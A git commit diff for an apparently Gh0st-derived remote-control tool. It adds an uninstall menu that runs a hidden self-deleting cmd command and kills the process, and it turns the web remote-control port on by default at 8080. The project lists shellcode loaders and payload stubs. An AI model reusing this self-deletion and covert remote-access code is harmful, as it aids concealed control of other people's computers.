Feature: Add a menu to uninstall master/server software
This commit is contained in:
@@ -1,5 +1,10 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifndef SAFE_CLOSE_HANDLE
|
||||
#define SAFE_CLOSE_HANDLE(h) if(h) { CloseHandle(h); h = NULL; }
|
||||
#endif
|
||||
|
||||
// 提升权限
|
||||
inline int DebugPrivilege()
|
||||
@@ -101,7 +106,7 @@ inline bool markForDeleteOnReboot(const char* file)
|
||||
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
||||
}
|
||||
|
||||
inline BOOL self_del(int timeoutSecond=3)
|
||||
inline BOOL self_del(int timeoutSecond=3, bool forceExit = false)
|
||||
{
|
||||
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
||||
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
||||
@@ -109,7 +114,9 @@ inline BOOL self_del(int timeoutSecond=3)
|
||||
|
||||
markForDeleteOnReboot(file);
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
|
||||
char szCmdPath[MAX_PATH] = { 0 };
|
||||
GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);
|
||||
sprintf(szCmd, "\"%s\" /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", szCmdPath, timeoutSecond, file);
|
||||
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
@@ -118,6 +125,8 @@ inline BOOL self_del(int timeoutSecond=3)
|
||||
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
||||
SAFE_CLOSE_HANDLE(pi.hThread);
|
||||
SAFE_CLOSE_HANDLE(pi.hProcess);
|
||||
if (forceExit)
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
Binary file not shown.
@@ -639,6 +639,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[54].LoadBitmap(IDB_BITMAP_SNAPSHOT); // "播放快照" 菜单的眼睛图标
|
||||
m_bmOnline[55].LoadBitmap(IDB_BITMAP_COMPRESS);
|
||||
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -922,6 +923,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_SCREENPREVIEW_LOOP, &CMy2015RemoteDlg::OnScreenpreviewLoop)
|
||||
ON_COMMAND(ID_MENU_COMPRESS, &CMy2015RemoteDlg::OnMenuCompress)
|
||||
ON_COMMAND(ID_MENU_UNCOMPRESS, &CMy2015RemoteDlg::OnMenuUncompress)
|
||||
ON_COMMAND(ID_UNINSTALL_SOFTWARE, &CMy2015RemoteDlg::OnUninstallSoftware)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -1022,6 +1024,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_WHAT_IS_THIS, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_UNINSTALL_SOFTWARE, MF_BYCOMMAND, &m_bmOnline[57], &m_bmOnline[57]);
|
||||
|
||||
// ============================================================
|
||||
// UIBranding: 根据编译时配置隐藏菜单项
|
||||
@@ -1881,7 +1884,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
|
||||
// Start Web Remote Control service (includes file download at /payloads/*)
|
||||
UPDATE_SPLASH(16, "正在启动Web远程服务...");
|
||||
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||
if (webSvrPort > 0) {
|
||||
WebService().SetParentDlg(this);
|
||||
// Pick web admin password: prefer the web-specific env var so the
|
||||
@@ -1988,7 +1991,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
THIS_APP->MessageBoxL("请通过菜单设置公网地址!", "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||||
int webSvrPortCheck = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
int webSvrPortCheck = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||
if (webSvrPortCheck > 0 && webSvrPortCheck == port) {
|
||||
THIS_APP->MessageBoxL("监听端口和Web服务端口冲突!", "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
@@ -3003,7 +3006,7 @@ void CMy2015RemoteDlg::ApplyFrpSettings()
|
||||
std::string token = THIS_CFG.GetStr("frp", "token");
|
||||
auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
auto arr = StringToVector(ports, ';');
|
||||
int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||
|
||||
// 为每个服务端生成独立配置文件 (index=0 用 frpc.ini 保持兼容)
|
||||
for (size_t idx = 0; idx < servers.size(); ++idx) {
|
||||
@@ -8116,6 +8119,10 @@ LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
|
||||
} else {
|
||||
// 单帧失败不直接关窗,标"不可用",下一轮定时器再尝试
|
||||
entry.tip->MarkPreviewUnavailable();
|
||||
// 失败时主动重绘列表行,防止循环窗触发的重绘恰好在缓存就绪前执行导致显示"…"
|
||||
if (m_ThumbnailCfg.Enabled) {
|
||||
InvalidateHostRow(msg->clientId);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -8126,6 +8133,9 @@ LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
|
||||
if (dataOk) {
|
||||
CacheThumbnail(msg->clientId, jpeg, hdr->bytes);
|
||||
InvalidateHostRow(msg->clientId);
|
||||
} else if (m_ThumbnailCfg.Enabled) {
|
||||
// 失败时也刷新,确保旧缩略图得以显示,防止其他触发的重绘残留"…"
|
||||
InvalidateHostRow(msg->clientId);
|
||||
}
|
||||
// 数据非 OK 也不重试,等下个周期;保留旧缩略(如有)
|
||||
return 0;
|
||||
@@ -8527,11 +8537,14 @@ void CMy2015RemoteDlg::CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_
|
||||
::SelectObject(hMemDC, hbmOld);
|
||||
::DeleteDC(hMemDC);
|
||||
|
||||
// 替换/插入缓存
|
||||
ClearThumbnailCacheEntry(clientID);
|
||||
ThumbCacheEntry e;
|
||||
e.bmp = hbm; e.w = dstW; e.h = dstH;
|
||||
m_HostThumbnails[clientID] = e;
|
||||
// 原子替换缓存:直接操作 map 条目而不先 erase,消除 erase→insert 之间的空窗期;
|
||||
// 旧 HBITMAP 在新 bmp 写入后再删,确保任何时刻 map 条目都有有效 bmp。
|
||||
{
|
||||
auto& ce = m_HostThumbnails[clientID];
|
||||
HBITMAP oldBmp = ce.bmp;
|
||||
ce.bmp = hbm; ce.w = dstW; ce.h = dstH;
|
||||
if (oldBmp) ::DeleteObject(oldBmp);
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::SendThumbnailRequest(context* ctx)
|
||||
@@ -8577,13 +8590,14 @@ void CMy2015RemoteDlg::TickThumbnailRefresh()
|
||||
// 开着循环窗,跳过
|
||||
if (loopSet.count(cid)) continue;
|
||||
|
||||
// 到期判定(首次出现时也算到期:插入 due=now)
|
||||
// 到期判定
|
||||
auto itDue = m_ThumbNextDueTick.find(cid);
|
||||
if (itDue == m_ThumbNextDueTick.end()) {
|
||||
// 散播:初次注册时把 due 散列到 [now, now+intervalMs) 范围,避免万人同发
|
||||
DWORD jitter = (DWORD)(intervalMs > 0 ? (cid % intervalMs) : 0);
|
||||
m_ThumbNextDueTick[cid] = now + jitter;
|
||||
continue;
|
||||
// 新主机(首次出现或重连后):直接设 due=now,不加散播抖动;
|
||||
// 主机重连后 bitmap 已被 ClearThumbnailCacheEntry 清空,若再等 jitter 秒
|
||||
// 才发首请求,期间会持续显示"…"。kMaxPerTick 已限制每 tick 最多发 8 台,
|
||||
// 即便大量主机同时上线也不会造成瞬时拥挤,无需额外散播。
|
||||
itDue = m_ThumbNextDueTick.insert({cid, now}).first;
|
||||
}
|
||||
if ((LONG)(itDue->second - now) > 0) continue; // 未到期
|
||||
|
||||
@@ -10856,7 +10870,7 @@ void CMy2015RemoteDlg::OnCancelShare()
|
||||
|
||||
void CMy2015RemoteDlg::OnWebRemoteControl()
|
||||
{
|
||||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||
if (port <= 0) {
|
||||
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
@@ -11050,3 +11064,13 @@ void CMy2015RemoteDlg::OnMenuUncompress()
|
||||
MessageBox(msg, _TR("提示"),
|
||||
MB_OK | (fail > 0 ? MB_ICONWARNING : MB_ICONINFORMATION));
|
||||
}
|
||||
|
||||
#include "client/auto_start.h"
|
||||
void CMy2015RemoteDlg::OnUninstallSoftware()
|
||||
{
|
||||
if (IDYES == MessageBoxL("是否移除此软件?", "提示", MB_ICONINFORMATION | MB_YESNO)) {
|
||||
Release();
|
||||
__super::OnOK();
|
||||
self_del(10, true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -364,7 +364,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[57]; // 21 original + 4 context menu + 2 tray menu + 25 main menu + 3 new menu icons + 1 snapshot
|
||||
CBitmap m_bmOnline[58]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -607,4 +607,5 @@ public:
|
||||
afx_msg void OnScreenpreviewLoop();
|
||||
afx_msg void OnMenuCompress();
|
||||
afx_msg void OnMenuUncompress();
|
||||
afx_msg void OnUninstallSoftware();
|
||||
};
|
||||
|
||||
@@ -249,10 +249,6 @@
|
||||
<None Include="..\web\index.html" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\3rd\frpc.dll" />
|
||||
<None Include="res\3rd\frps.dll" />
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
@@ -260,16 +256,6 @@
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\1.cur" />
|
||||
<None Include="res\Cur\2.cur" />
|
||||
<None Include="res\Cur\3.cur" />
|
||||
@@ -277,16 +263,10 @@
|
||||
<None Include="res\Cur\arrow.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\frpc.dll" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\rcedit.exe" />
|
||||
<None Include="res\SCLoader_32.exe" />
|
||||
<None Include="res\SCLoader_64.exe" />
|
||||
<None Include="res\string.ico" />
|
||||
<None Include="res\upx.exe" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
</ItemGroup>
|
||||
@@ -379,8 +359,6 @@
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="UIBranding.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
<ClInclude Include="ServerServiceWrapper.h" />
|
||||
<ClInclude Include="ServerSessionMonitor.h" />
|
||||
<ClInclude Include="CIconButton.h" />
|
||||
@@ -518,9 +496,8 @@
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\2015Remote.ico" />
|
||||
<Image Include="res\audio.ico" />
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
@@ -554,6 +531,7 @@
|
||||
<Image Include="res\Bitmap\Network.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\Notify.bmp" />
|
||||
<Image Include="res\Bitmap\Online.bmp" />
|
||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
@@ -567,23 +545,24 @@
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\bitmap\uncompress.bmp" />
|
||||
<Image Include="res\bitmap\uninstall.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
<Image Include="res\file.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
<Image Include="res\file\Icon_A.ico" />
|
||||
<Image Include="res\file\Icon_C.ico" />
|
||||
@@ -594,9 +573,11 @@
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\pc.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\Snapshot.ico" />
|
||||
<Image Include="res\string.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
@@ -604,14 +585,8 @@
|
||||
<Image Include="res\ToolBar_Enable.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
||||
@@ -135,8 +135,6 @@
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
@@ -195,32 +193,66 @@
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\Cur\4.cur" />
|
||||
<None Include="res\Cur\2.cur" />
|
||||
<None Include="res\Cur\3.cur" />
|
||||
<None Include="res\Cur\1.cur" />
|
||||
<None Include="res\Cur\arrow.cur" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="res\3rd\frpc.dll" />
|
||||
<None Include="res\3rd\frps.dll" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="..\..\x64\Release\SCLoader.exe" />
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<None Include="..\web\index.html" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="..\..\macos\ghost" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="file">
|
||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\2015Remote.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\audio.ico" />
|
||||
<Image Include="res\file.ico" />
|
||||
<Image Include="res\pc.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
<Image Include="res\string.ico" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\Snapshot.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
<Image Include="res\Snapshot.ico" />
|
||||
<Image Include="res\file\Icon_A.ico" />
|
||||
<Image Include="res\file\Icon_C.ico" />
|
||||
<Image Include="res\file\Icon_D.ico" />
|
||||
@@ -228,6 +260,24 @@
|
||||
<Image Include="res\file\Icon_F.ico" />
|
||||
<Image Include="res\file\Icon_G.ico" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\Bitmap\Online.bmp" />
|
||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\ToolBar_Enable.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Disable.bmp" />
|
||||
<Image Include="res\Bitmap\delete.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
@@ -237,18 +287,11 @@
|
||||
<Image Include="res\Bitmap\Inject.bmp" />
|
||||
<Image Include="res\Bitmap\HostProxy.bmp" />
|
||||
<Image Include="res\Bitmap\LoginNotify.bmp" />
|
||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\ToolBar_Enable.bmp" />
|
||||
<Image Include="res\ToolBar_Disable.bmp" />
|
||||
<Image Include="res\Bitmap\delete.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||
<Image Include="res\Bitmap\Logout.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\Bitmap\Exit.bmp" />
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
@@ -277,78 +320,10 @@
|
||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\bitmap\uncompress.bmp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\string.ico" />
|
||||
<None Include="res\upx.exe" />
|
||||
<None Include="res\frpc.dll" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="..\..\x64\Release\SCLoader.exe" />
|
||||
<None Include="res\rcedit.exe" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
<None Include="res\SCLoader_32.exe" />
|
||||
<None Include="res\SCLoader_64.exe" />
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="res\Cur\4.cur" />
|
||||
<None Include="res\Cur\2.cur" />
|
||||
<None Include="res\Cur\3.cur" />
|
||||
<None Include="res\Cur\1.cur" />
|
||||
<None Include="res\Cur\arrow.cur" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="res\3rd\frpc.dll" />
|
||||
<None Include="res\3rd\frps.dll" />
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\web\index.html" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="file">
|
||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||
<Image Include="res\bitmap\uninstall.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -222,7 +222,7 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
#endif
|
||||
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||||
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
|
||||
m_nFileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
m_nFileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||
|
||||
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
|
||||
m_ComboVideoWall.InsertStringL(0, "无");
|
||||
@@ -264,9 +264,6 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
|
||||
THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
|
||||
THIS_CFG.SetInt("settings", "WebSvrPort", m_nFileServerPort);
|
||||
if (m_nFileServerPort > 0 && THIS_CFG.GetStr("settings", "Authorization").empty()) {
|
||||
MessageBoxL("Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!", "提示", MB_ICONWARNING);
|
